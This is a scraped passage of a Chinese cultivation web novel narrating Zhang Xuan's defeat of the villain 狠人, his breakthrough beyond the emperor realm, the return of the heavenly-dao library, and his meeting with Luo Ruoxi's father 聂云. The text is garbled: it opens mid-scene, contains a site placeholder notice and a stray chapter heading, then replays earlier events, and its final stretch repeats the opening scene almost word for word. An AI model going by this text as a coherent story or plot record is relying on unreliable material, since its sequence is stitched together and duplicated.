灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第39章 一直在看、一直尊重！ 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 